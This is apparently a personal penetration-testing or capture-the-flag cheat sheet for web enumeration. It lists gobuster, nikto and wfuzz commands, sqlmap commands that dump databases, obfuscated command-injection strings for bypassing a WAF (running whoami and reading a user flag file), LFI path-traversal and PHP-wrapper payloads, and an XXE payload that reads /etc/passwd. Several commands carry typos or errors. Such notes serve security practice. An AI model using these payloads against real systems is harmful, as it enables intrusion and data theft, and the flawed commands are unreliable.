Web Enumeration:

Note: GOOGLE EVERYTHING, Do not take anything for granted, It might be the CLUE

[+] View the source code

[+] Curl the site :

> curl `http://IPaddress` | check if the website has hidden useful metadata

> curl -o output.txt `http://IPaddress`

> curl -i `http://IPaddress`

[+] Proxy the request and check the GET and POST requests

[+] Gobutser /Dirbuster: Enumerate the site for hidden directories

> gobuster -u `htpp://IPaddress` -w `/user/share/dirbuster/directory/-list-2.3-medium.txt` -t 15

> gobuster -u `http://IPaddress` -w WordList -x `php,old,bak`

> gobuster -u `https://IPaddress` -k -w WordList -x `ex:php, old, bak` >> **SSL**

[+] Use Wapplyzer add-on on Firefox for detecting the site technologies

__[+] Framework Manual Enumeration

- Check what type and version of framework the site is running on:

  > > Examples: Wordpress, Nibbleblog, Jeeves

  > > Check README, to find the version of the framework

[+] Login Pages:

- View the source page, there might be debugging information
- Curl the page; maybe it contains some information

- Try default credentials
- Try SQL common injections

[+] SQLMap:

Note: always try either directly the website or in a request form

```
sqlmap -r login.req --level 4 --risk 3
```

> note: login.re is a POST resquest copied from Burpsuite

```
sqlmap -u [domain or ip_address] --form --dbs --batch
```

```
sqlmap -u [domain /or IP ] -D database_name --dump-all --batch
```

```
sqlmap -r login.req --force-ssl -dbms=mysql --tables
```

```
sqlmap -r login.req --force-ssl -dbms=mysql -T [table Name] --columns
```

```
sqlmap -r login.req --force-ssl -dbms=mysql -T [table Name] --dump-all
```

```
sqlmap -r login.req --force-ssl -dbms=mysql -T [table Name] -C column1, column2 --dump
```

[+] Nikto: fingerprint the website :

```
nikto -host http://IPaddress -o output.txt
```

[+] Fuzzing Requests Manually :

- Try to put different input in User Agent or Accept parameters and view the responses on the proxy
- Intercept the get and post requests client and server responses with [Burpsuite]
- Mainupulate the URL : fuzz it manually

[+] Web Fuzzing

> webfuzz -u http://IP_address/FUZZ --hw=1 --hh=3076 -w wordlist | Fuzzing for Enumeration

> wfuzz -w /usr/share/wordlists/dirb/common.txt -u http://IP_address/dirName?FUZZ=ls -c --hh 19
> note: Fuzzing for bypassing WAF filter. 19 is the number of the repeatative characters

[+] Bypassing WAF Filters :

- Manually change the request inputs and check for chnages or anamolies with Burpsuite.Things to fuzz manually:

  ```
  - GET or POST first line
  ```

- User Agent: remove the agent name with a different input.observer the changes
- Find the right parameters

  > wfuzz -w /usr/share/wordlists/dirb/common.txt -u http://IP_address/dirName?FUZZ=ls -c --hh Number

- Find the allowed and not allowed characters:

> wfuzz -w /usr/share/Seclist/Fuzzing/special_chars.txt -u http://IP_address/dirName?Parameter=FUZZ

- Try space and no space before and after the parameter:

  ```
  Ex: ' ls -la'
      single ['] is allowed is this case

  Ex: ' l\s -\l\a'
      single ['] is allowed is this case

  Ex: ' l%2Fs -%2Fl%2Fa'
      try enconding the special characters [URL encoding]

  Ex: " l%2Fs -%2Fl%2Fa"
      Double quotes
  ```

```
Ex: " l\s -\l\a"
    Double quotes

Ex: "IP_Address/sync?opt=' whoami' "
    "IP_Address/sync?opt=' id'"
    "IP_Address/sync?opt=' u'n'ame -a' "
    "IP_Address/sync?opt=' l's' /home'"
    "IP_Address/sync?opt=' l's' /home/Fl'uxC'apa'cit'orI'n'c'"
    "IP_Address/sync?opt==' c'at' /home/Fl'uxC'apa'cit'orI'n'c/u'ser'.'txt
```

[+] Dirb

> dirb `http://IPaddress`

[+] Local File Inclusion

- Examples: www.examples.com/index.php?note=files/note.txt

- Include function indicates a possibility of exploitation through include shells | PHP

- In case of LFI, try a php wrapper

  vulnerable url: `www.examples.com/index.php?note=files/note.txt`

  php wrapper: `www.examples.com/index.php?note=php://filter/convert.base64encode/resource=files/note.txt`

[+] LFI filtering :

- Baisc exmple `Ex: ../../../etc/passwd` | **bypass** >> `.../.|.../.|etc/passwd`

- Other ways to bypass LFI filters | Github: File Inclusion - Path Traversal PayloadsAllTheThings by swisskyrepo

[+] XML Uploads : can be used to read file and private keys

```
- Test the XML with simple file :
<?xml version="1.0"?>
  <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >
  ]>
  <feed>
    <Author>raj</Author>
    <Subject>chandel</Subject>
    <Content>&xxe;</Content>
  </feed>
```

[+] XHTTP Requets and Responses

- XHTTP == Ajax [try using JSON decoder for requests]
- try Json decoder to read php files

  > JSON.parse(readFile('FileName.php')).file

[+] FireFox Developer Tools

- Debugg JS with Firegox debugger